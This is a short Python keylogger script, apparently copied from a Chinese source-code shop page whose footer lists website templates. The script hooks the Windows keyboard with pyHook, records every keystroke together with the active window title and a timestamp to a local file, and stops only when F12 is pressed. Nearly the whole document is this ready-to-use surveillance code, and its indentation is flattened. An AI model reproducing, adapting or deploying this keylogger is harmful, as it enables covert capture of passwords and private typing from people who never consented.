# -*- coding: cp936 -*-
import pythoncom
import pyHook
import time
import win32api
t=''
asciistr=''
keystr=''
def onKeyboardEvent(event):
global t,asciistr,keystr
filename='d://test.txt'
wrfile=open(filename,'ab')
"处理键盘事件"
if t==str(event.WindowName):
asciistr=asciistr+chr(event.Ascii)
keystr=keystr+str(event.Key)
else:
t=str(event.WindowName)
if asciistr=='' and keystr=='':
wrfile.writelines("\nWindow:%s\n" % str(event.Window))
wrfile.writelines("WindowName:%s\n" % str(event.WindowName)) #写入当前窗体名
wrfile.writelines("MessageName:%s\n" % str(event.MessageName))
wrfile.writelines("Message:%d\n" % event.Message)
wrfile.writelines("Time:%s\n" % time.strftime('%Y-%m-%d %H:%M:%S',time.localtime()))
else:
wrfile.writelines("Ascii_char:%s\n" %asciistr)
wrfile.writelines("Key_char:%s\n" %keystr)
wrfile.writelines("\nWindow:%s\n" % str(event.Window))
wrfile.writelines("WindowName:%s\n" % str(event.WindowName)) #写入当前窗体名
wrfile.writelines("Time:%s\n" % time.strftime('%Y-%m-%d %H:%M:%S',time.localtime()))
asciistr=chr(event.Ascii)
keystr=str(event.Key)
if str(event.Key)=='F12': #按下F12后终止
wrfile.writelines("Ascii_char:%s\n" %asciistr)
wrfile.writelines("Key_char:%s\n" %keystr)
wrfile.close()
win32api.PostQuitMessage()
return True
if __name__ == "__main__":
#创建hook句柄
hm = pyHook.HookManager()
#监控键盘
hm.KeyDown = onKeyboardEvent
hm.HookKeyboard()
#循环获取消息
pythoncom.PumpMessages(10000)
机械节能产品生产企业官网模板...
大气智能家居家具装修装饰类企业通用网站模板...
礼品公司网站模板
宽屏简约大气婚纱摄影影楼模板...
蓝白WAP手机综合医院类整站源码(独立后台)...苏ICP备2024110244号-2 苏公网安备32050702011978号 增值电信业务经营许可证编号:苏B2-20251499 | Copyright 2018 - 2025 源码网商城 (www.ymwmall.com) 版权所有